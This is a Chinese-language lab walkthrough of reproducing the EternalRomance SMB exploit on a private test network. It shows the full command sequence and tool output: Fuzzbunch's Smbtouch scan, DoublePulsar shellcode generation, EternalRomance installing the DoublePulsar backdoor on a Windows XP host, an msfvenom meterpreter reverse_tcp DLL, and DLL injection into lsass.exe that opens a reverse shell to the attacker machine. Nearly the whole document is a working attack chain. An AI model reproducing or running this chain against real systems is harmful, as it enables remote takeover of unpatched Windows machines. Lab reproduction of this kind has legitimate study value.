Eternal Romance 复现

实验环境:

IP	系统环境	用途说明	备注
192. 168. 43. 200	Windows 7 Ultimate SP1	攻击机,安装了 Fuzzbunch	x86 架构,需安装 python2. 6. 6 x86 版本及 pywin32 对应版本
192. 168. 43. 121	Windows Server 2003 SP2	靶机	x86 架构,局域网服务器,开放了 指定端口及服务
192. 168. 43. 149	Kali2 Rolling	生成回连 pay load 并控制回连会话	一如既往生成 dII 文件

首先将环境搭起来保证几台机器在一个子网之下: 使用 fb 平台自带的 Smbtouch 模块去探测目标主机有什么漏洞可以利用



从探测的结果来看这里有两个漏洞可以使用:

```
Execute Plugin? [Yes] :
[*] Executing Plugin
[+] SMB Touch started
[*] TargetIp
                         192.168.43.150
[*] TargetPort
                         445
[*] RedirectedTargetIp
                         (null)
[*] RedirectedTargetPort 0
[*] NetworkTimeout
                         60
[*] Protocol
                         SMB
[*] Credentials
                         Anonymous
[*] Connecting to target...
        [+] Initiated SMB connection
[+] Target OS Version 5.2 build 3790
    Windows Server 2003 3790 Service Pack 2
[*] Trying pipes...
                     - Not accessible (0xC0000034 - NtErrorObjectNameNotFound)
       [-] spoolss
        [+] browser
                      - Success!
[*] Using Remote API to determine architecture
        [+] Target is 32-bit
[Not Supported]
       ETERNALBLUE
                       - Target OS version not supported
        ETERNALSYNERGY - Target OS version not supported
[Vulnerable]
       ETERNALROMANCE - FB
        ETERNALCHAMPION - DANE/FB
[*] Writing output parameters
[+] Target is vulnerable to 2 exploits
[+] Touch completed successfully
[+] Smbtouch Succeeded
```

这里使用 EternalRomance 这个漏洞:

后面发现没有渗透成功,将被攻击主机换成了 XP SP3 使用 smbtouch 模块探测到的可以使用的漏洞工具有:

```
[+] Target OS Version 5.1 build 2600
   Windows 5.1
[!] Target could be either SP2 or SP3,
[!] for these SMB exploits they are equivalent
[*] Trying pipes...
       [+] spoolss
                     - Success!
[+] Target is 32-bit
[Not Supported]
       ETERNALSYNERGY - Target OS version not supported
[Vulnerable]
       ETERNALBLUE
                     - DANE
       ETERNALROMANCE - FB
       ETERNALCHAMPION - DANE/FB
[*] Writing output parameters
[+] Target is vulnerable to 3 exploits
[+] Touch completed successfully
```

使用 eternalromance:

还是使用 DoublePulsar 模块生成 shellcode:

```
fb Touch (Smbtouch) > use Doublepulsar
 1 Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.43.121
[*] Applying Session Parameters
[+] Set Protocol => SMB
!! Enter Prompt Mode :: Doublepulsar
Module: Doublepulsar
                 Value
Name
NetworkTimeout
                60
Targetlp
                 192.168.43.121
TargetPort
                 445
OutputFile
                 SMB
Protocol
Architecture
                 ×86
Function
                 OutputInstall
 1 Plugin Variables are NOT Valid
 🊹 Prompt For Variable Settings? [Yes] :
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1
for no timeout.
 NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
 71 TargetIp [192.168.43.121] :
[*] TargetPort :: Port used by the Double Pulsar back door
 71 TargetPort [445] :
[*] Protocol :: Protocol for the backdoor to speak
              Ring 0 SMB (TCP 445) backdoor
   *0) SMB
   1) RDP
              Ring Ø RDP (TCP 3389) backdoor
  Protocol [0]:
[*] Architecture :: Architecture of the target OS
   *Ø) x86
              x86 32-bits
   1) x64
              x64 64-bits
```

```
1) x64
              x64 64-bits
 🚹 Architecture [0] :
[*] Function :: Operation for backdoor to perform
  *0> OutputInstall
                        Only output the install shellcode to a binary file on d
isk.
   1) Ping
                         Test for presence of backdoor
   2) RunDLL
                         Use an APC to inject a DLL into a user mode process.
   3) RunShellcode
                         Run raw shellcode
   4) Uninstall
                         Remove's backdoor from system
 Function [0]:
[*] OutputFile :: Full path to the output file
  | OutputFile [] : C:\shellcode.bin
[+] Set OutputFile => C:\shellcode.bin
  I Preparing to Execute Doublepulsar
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
   Destination IP [192.168.43.121] :
   Destination Port [445] :
[+] (TCP) Local 192.168.43.121:445
[+] Configure Plugin Remote Tunnels
Module: Doublepulsar
                 Value
Name
NetworkTimeout
                 60
                 192.168.43.121
TargetIp
TargetPort
                  445
OutputFile
                  C:\shellcode.bin
                 SMB
Protoco1
Architecture
                 ×86
Function
                 OutputInstall
 Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[+] Writing Installer to disk
[*] Deleting old version of OutputFile if it exists
[*] Shellcode written to OutputFile
[+] Doublepulsar Succeeded
fb Payload (Doublepulsar) > _
```

生成 shellcode 之后使用 eternalromance 工具:

```
fb Payload (Doublepulsar) > use Eternalromance
 1 Entering Plugin Context :: Eternalromance
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.43.121
[*] Applying Session Parameters
[*] Running Exploit Touches
  1 Entering Plugin Context :: Smbtouch
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.43.121
[*] Inheriting Input Variables
11 Enter Prompt Mode :: Smbtouch
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1
for no timeout.
 NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
  TargetIp [192.168.43.121] :
[*] TargetPort :: Port used by the SMB service
TargetPort [445] :
[*] Pipe :: Test an additional pipe to see if it is accessible (optional)
 ? Pipe []:
[*] Share :: Test a file share to see if it is accessible (optional), entered a
s hex bytes (in unicode)
  [*] Protocol :: SMB (default port 445) or NBT (default port 139)
   *0) SMB
   1) NBT
 Protocol [0]:
[*] Credentials :: Type of credentials to use
   *Ø) Anonymous
                    Anonymous (NULL session)
   1) Guest
                    Guest account
   2) Blank
                    User account with no password set
   3) Password
                    User name and password
```

```
3) Password
                     User name and password
   4) NTLM
                     User name and NTLM hash
 Credentials [0]:
 1 Preparing to Execute Smbtouch
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Configure Plugin Remote Tunnels
Module: Smbtouch
Name
                        Value
NetworkTimeout
                       192.168.43.121
TargetIp
                        445
TargetPort
RedirectedTargetIp
RedirectedTargetPort
UsingNbt
                        False
Pipe
Share
                        SMB
Protoco1
Credentials
                        Anonymous
 Execute Plugin? [Yes]:
[*] Executing Plugin
[+] SMB Touch started
[*] TargetIp
                          192.168.43.121
[*] TargetPort
                          445
[*] RedirectedTargetIp
                          (null)
[*] RedirectedTargetPort 0
[*] NetworkTimeout
                          60
[*] Protocol
                          SMB
[*] Credentials
                          Anonymous
[*] Connecting to target...
       [+] Initiated SMB connection
[+] Target OS Version 5.1 build 2600
   Windows 5.1
[!] Target could be either SP2 or SP3,
[!] for these SMB exploits they are equivalent
[*] Trying pipes...
        [+] spoolss
                      - Success!
[+] Target is 32-bit
```

```
[+] Target is 32-bit
[Not Supported]
       ETERNALSYNERGY - Target OS version not supported
[Vulnerable]
       ETERNALBLUE
                       - DANE
       ETERNALROMANCE - FB
       ETERNALCHAMPION - DANE/FB
[*] Writing output parameters
[+] Target is vulnerable to 3 exploits
[+] Touch completed successfully
[+] Smbtouch Succeeded
[*] Exporting Contract To Exploit
[+] Set PipeName => spoolss
[+] Set Credentials => Anonymous
[+] Set Target => XP_SP2SP3_X86
🚹 Enter Prompt Mode :: Eternalromance
Module: Eternalromance
                 Value
Name
NetworkTimeout
                 60
                192.168.43.121
TargetIp
TargetPort
                 445
PipeName
                 spoolss
ShellcodeFile
ExploitMethod
                 Default
Credentials
                 Anonymous
Protoco1
                 SMB
Target
                 XP_SP2SP3_X86
  1 Plugin Variables are NOT Valid
 Prompt For Variable Settings? [Yes]:
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1
for no timeout.
 NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
 1 TargetIp [192.168.43.121]
[*] TargetPort :: Target TCP port
  TargetPort [445] :
```

```
TargetPort [445]:
[*] PipeName :: The named pipe to use
 🚹 PipeName [spoolss] :
[*] ShellcodeFile :: DOPU (ensure correct architecture) ONLY! Other shellcode w
ill likely BSOD.
  】ShellcodeFile [] : C:\shellcode.bin
[+] Set ShellcodeFile => C:\shellcode.bin
[*] ExploitMethod :: Which exploit method to use
  *0) Default
                            Use the best exploit method(s) for the target OS
   1) Fish-in-a-barrel
                            Most reliable exploit method (XP/2k3 only)
   2) Matched-pairs
                            Next reliable exploit method (XP/Win7/2k8R2 only)
   3) Classic-Romance
                            Original LargePageGroom exploit method (All OS Versi
ons)
 ExploitMethod [0]:
[*] Credentials :: Type of credentials to use
                     Anonymous (NULL session)
  *0) Anonymous
   1) Guest
                     Guest account
                     User account with no password set
   2) Blank
   3) Password
                     User name and password
   4) NTLM
                     User name and NTLM hash
  Credentials [0]:
[*] Protocol :: SMB (default port 445) or NBT (default port 139)
  *0) SMB
   1) NBT
 Protocol [0]:
[*] Target :: Operating System, Service Pack, of target OS
                             Windows XP SpØ and Sp1, 32-bit
Windows XP Sp2 and Sp3, 32-bit
   0) XP_SP0SP1_X86
   *1> XP_SP2SP3_X86
                             Windows XP Sp1, 64-bit
   2) XP_SP1_X64
   3> XP_SP2_X64
                             Windows XP Sp2, 64-bit
                             Windows Sever 2003 Sp0, 32-bit
   4> SERUER_2003_SP0
                             Windows Sever 2003 Sp1, 32-bit/64-bit
   5> SERVER_2003_SP1
   6> SERUER_2003_SP2
                             Windows Sever 2003 Sp2, 32-bit/64-bit
                             Windows Vista SpØ, 32-bit/64-bit
    7> VISTA_SPØ
                             Windows Vista Sp1, 32-bit/64-bit
   8> UISTA_SP1
                             Windows Vista Sp2, 32-bit/64-bit
   9> VISTA_SP2
   10> SERVER_2008_SP0
                              Windows Server 2008 Sp0, 32-bit/64-bit
                              Windows Server 2008 Sp1, 32-bit/64-bit
   11> SERVER_2008_SP1
   12> SERUER_2008_SP2
                              Windows Server 2008 Sp2, 32-bit/64-bit
    13> WIN7_SP0
                              Windows 7 Sp0, 32-bit/64-bit
```

```
[*] Target :: Operating System, Service Pack, of target OS
    0> XP_SP0SP1_X86
                                Windows XP Sp0 and Sp1, 32-bit
   *1> XP_SP2SP3_X86
                                Windows XP Sp2 and Sp3, 32-bit
    2> XP_SP1_X64
                                Windows XP Sp1, 64-bit
    3> XP_SP2_X64
                                Windows XP Sp2, 64-bit
                                Windows Sever 2003 Sp0, 32-bit
    4> SERUER_2003_SP0
    5> SERUER_2003_SP1
                                Windows Sever 2003 Sp1, 32-bit/64-bit
                                Windows Sever 2003 Sp2, 32-bit/64-bit
    6> SERUER_2003_SP2
                               Windows Vista Sp0, 32-bit/64-bit
Windows Vista Sp1, 32-bit/64-bit
Windows Vista Sp2, 32-bit/64-bit
    7> VISTA_SPØ
    8) VISTA_SP1
    9> UISTA_SP2
                                 Windows Server 2008 Sp0, 32-bit/64-bit
    10) SERVER 2008 SP0
    11> SERVER_2008_SP1
                                 Windows Server 2008 Sp1, 32-bit/64-bit
    12> SERUER_2008_SP2
                                 Windows Server 2008 Sp2, 32-bit/64-bit
                                 Windows 7 Sp0, 32-bit/64-bit
Windows 7 Sp1, 32-bit/64-bit
Windows Server 2008 R2 Sp0, 32-bit/64-bit
    13> WIN7_SP0
14> WIN7_SP1
    15> SERUER_2008R2_SP0
    16> SERUER_2008R2_SP1
                                 Windows Server 2008 R2 Sp1, 32-bit/64-bit
71 Target [1] :
  Preparing to Execute Eternalromance
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
    Destination IP [192.168.43.121] :
    Destination Port [445] :
[+] (TCP) Local 192.168.43.121:445
[+] Configure Plugin Remote Tunnels
Module: Eternalromance
-----
Name
                         Value
NetworkTimeout
                         60
TargetIp
                         192.168.43.121
TargetPort
                         445
MaxExploitAttempts
                         3
PipeName
                         spoolss
ExploitMethodChoice
ShellcodeFile
                         C:\shellcode.bin
CredChoice
Username
Password
UsingNbt
                         False
OsMajor
                         5
OsMinor
```

OsServicePack

ExploitMethod

2

Default

```
UsingNbt
                      False
OsMajor
                      5
OsMinor
OsServicePack
                      2
ExploitMethod
                      Default
Credentials
                      Anonymous
Protocol
                      SMB
                      XP_SP2SP3_X86
Target
 Execute Plugin? [Yes]:
[*] Executing Plugin
[*] Running Exploit
[*] Initializing Parameters
        [+] Target 192.168.43.121:445
        [+] Authcode: 0x0b453c11
        [+] XorMask: 0x26
        [+] Network Timeout: 60 seconds
[*] Attempting exploit method 1
[*] Initializing Network
        [+] Initial smb session setup completed
[*] Trying pipe spoolss...
        [+] Success!
        [+] Smb pipe and rpc setup complete
[*] Filling barrel with fish... done
          -----: Entering Danger Zone !----->
        [*] Preparing dynamite...
                [*] Trying stick 1 (x86)...B00M!
        [+] Successfully Leaked Transaction!
        [+] Successfully caught Fish-in-a-barrel
         ------ Leaving Danger Zone !-----
[*] Attempting to find remote SRV module
        [+] Reading from CONNECTION struct at: 0x896905F8
        [+] Found SRV global data pointer: 0xB194ABEC
                [+] Locating function tables...
                        [+] Transaction2Dispatch Table at: 0xB194A598
[*] Installing DOUBLEPULSAR
        [+] Leaked Npp Buffer to Execute at: 0x89725D88
        [+] shellcodeaddress = 89725e88, shellcodefilesize=3655
        [+] Backdoor shellcode written
        [+] Backdoor function pointer overwritten
[*] Executing DOUBLEPULSAR
[*] DOUBLEPULSAR should now be installed. The DOPU client can be used to verify
installation.
[*] Plugin completed successfully
        [+] Contract: StagedUpload
        [+] ConnectedTcp: ffffffff
        [+] XorMask: 26
        [+] TargetOsArchitecture: x86
[+] Eternalromance Succeeded
fb Exploit (Eternalromance) >
```

利用成功之后生成一个反弹 shell 的 dll:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.149 LP
ORT=8090 -f dll > eternalromance.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the p
ayload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 5120 bytes
root@kali:~# []
```

开启监听等待反弹 shell 的 TCP 连接

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.43.149
LHOST => 192.168.43.149
msf exploit(multi/handler) > set LPORT 8090
LPORT => 8090
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.43.149:8090
```

使用 Doublepulsar 注入 dll:

```
fb Exploit (Eternalromance) > use Doublepulsar
[*] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.43.121
[*] Applying Session Parameters
 -] Error: Invalid value for Function ()
-] Skipping 'Function'
 !] Enter Prompt Mode :: Doublepulsar
Module: Doublepulsar
==========
Name
                  Value
NetworkTimeout
                  60
TargetIp
                  192.168.43.121
TargetPort
                  445
OutputFile
                  C:\shellcode.bin
Protoco1
                  SMB
                  ×86
Architecture
                  OutputInstall
Function
  1 plugin variables are valid
 Prompt For Variable Settings? [Yes]:
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1
for no timeout.
 NetworkTimeout [60] :
[*] TargetIp :: Target IP Address
 7 TargetIp [192.168.43.121] :
[*] TargetPort :: Port used by the Double Pulsar back door
 7 TargetPort [445] :
[*] Protocol :: Protocol for the backdoor to speak
   *0) SMB
               Ring Ø SMB (TCP 445) backdoor
               Ring Ø RDP (TCP 3389) backdoor
   1) RDP
 Protocol [0] :
[*] Architecture :: Architecture of the target OS
   *Ø) x86
               x86 32-bits
               x64 64-bits
   1) x64
  Architecture [0]:
```

```
ר> x86
              x86 32-bits
   1) x64
              x64 64-bits
 1 Architecture [0]:
[*] Function :: Operation for backdoor to perform
   0) OutputInstall
                        Only output the install shellcode to a binary file on d
isk.
   1) Ping
                        Test for presence of backdoor
  *2) RunDLL
                        Use an APC to inject a DLL into a user mode process.
   3) RunShellcode
                        Run raw shellcode
   4) Uninstall
                        Remove's backdoor from system
 Function [2]:
[*] DllPayload :: DLL to inject into user mode
 1 DllPayload [C:\eternalromance.dll] :
[*] DllOrdinal :: The exported ordinal number of the DLL being injected to call
 DllOrdinal [1] :
[*] ProcessName :: Name of process to inject into
 ProcessName [1sass.exe] :
[*] ProcessCommandLine :: Command line of process to inject into
 ProcessCommandLine []:
  1 Preparing to Execute Doublepulsar
[*] Redirection OFF
[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
   Destination IP [192.168.43.121] :
   Destination Port [445] :
[+] (TCP) Local 192.168.43.121:445
[+] Configure Plugin Remote Tunnels
Module: Doublepulsar
                     Value
Name
NetworkTimeout
                     60
Targetlp
                     192.168.43.121
TargetPort
                     445
D11Payload
                     C:\eternalromance.dll
```

```
[+] Configure Plugin Remote Tunnels
Module: Doublepulsar
______
Name
                     Value
NetworkTimeout
                     60
TargetIp
                     192.168.43.121
TargetPort
                     445
D11Payload
                     C:\eternalromance.dll
D110rdinal
                     1
ProcessName
                     lsass.exe
ProcessCommandLine
Protoco1
                     SMB
Architecture
                     ×86
Function
                     RunDLL
 🚹 Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
       [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0xC59A400
   SMB Connection string is: Windows 5.1
   Target OS is: XP x86
        [+] Backdoor installed
       [+] DLL built
       [.] Sending shellcode to inject DLL
       [+] Backdoor returned code: 10 - Success!
       [+] Backdoor returned code: 10 - Success!
       [+] Backdoor returned code: 10 - Success!
       [+] Command completed successfully
[+] Doublepulsar Succeeded
fb Payload (Doublepulsar) > 🕳
```

成功之后 mefconsole 中成功接收到了反弹的哦 shell:

```
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.43.149:8090
[*] Sending stage (179779 bytes) to 192.168.43.121
[*] Meterpreter session 1 opened (192.168.43.149:8090 -> 192.168.43.121:1207) at
 2018-12-09 08:10:29 -0500
meterpreter > shell
Process 2852 created.
Channel 1 created.
Microsoft Windows XP [🕅 5.1.2600]
(C) ÛÛĘÛÛÛÛ 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter 0000000:
        Connection-specific DNS Suffix .:
        IP Address. . . . . . . . . . . : 192.168.43.121
Subnet Mask . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . : 192.168.43.1
C:\WINDOWS\system32>
```

被攻击主机:

```
C:\Documents and Settings\lixu>netstat -nao
Active Connections
 Proto Local Address
                                Foreign Address
                                                                        PID
                                                       State
        0.0.0.0:135
                                                                        1020
 TCP
                                0.0.0.0:0
                                                       LISTENING
                                0.0.0.0:0
 TCP
         0.0.0.0:445
                                                       LISTENING
                                                                        4
 TCP
         127.0.0.1:1028
                                0.0.0.0:0
                                                       LISTENING
                                                                        1524
 TCP
        192.168.43.121:139
                                0.0.0.0:0
                                                       LISTENING
                                                                        4
 TCP
        192.168.43.121:1207
                                192.168.43.149:8090
                                                       ESTABLISHED
                                                                        856
 UDP
         0.0.0.0:445
                                *:*
                                                                        4
 UDP
        0.0.0.0:500
                                *:*
                                                                        768
 UDP
        0.0.0.0:1025
                                *:*
                                                                        1248
 UDP
         0.0.0.0:1026
                                *:*
                                                                        1248
 UDP
         0.0.0.0:4500
                                *:*
                                                                        768
 UDP
        127.0.0.1:123
                                                                        1140
                                *:*
 UDP
        127.0.0.1:1135
                                *:*
                                                                        1140
 UDP
         127.0.0.1:1199
                                *: *
                                                                        2432
 UDP
        127.0.0.1:1900
                                                                        1388
                                *:*
 UDP
         192.168.43.121:123
                                *:*
                                                                        1140
         192.168.43.121:137
 UDP
                                *:*
                                                                        4
 HDP
        192.168.43.121:138
                                *:*
                                                                        4
 UDP
         192.168.43.121:1900
                                *:*
                                                                        1388
C:\Documents and Settings\lixu>_
```

A problem has been detected and Windows has been shut down to prevent damage to your computer.

If this is the first time you've seen this Stop error screen, restart your computer. If this screen appears again, follow these steps:

Check to be sure you have adequate disk space. If a driver is identified in the Stop message, disable the driver or check with the manufacturer for driver updates. Try changing video adapters.

Check with your hardware vendor for any BIOS updates. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.

Technical information:

*** STOP: 0x0000007E (0xC0000005,0x8669AFA3,0xBA8F6C28,0xBA8F6924)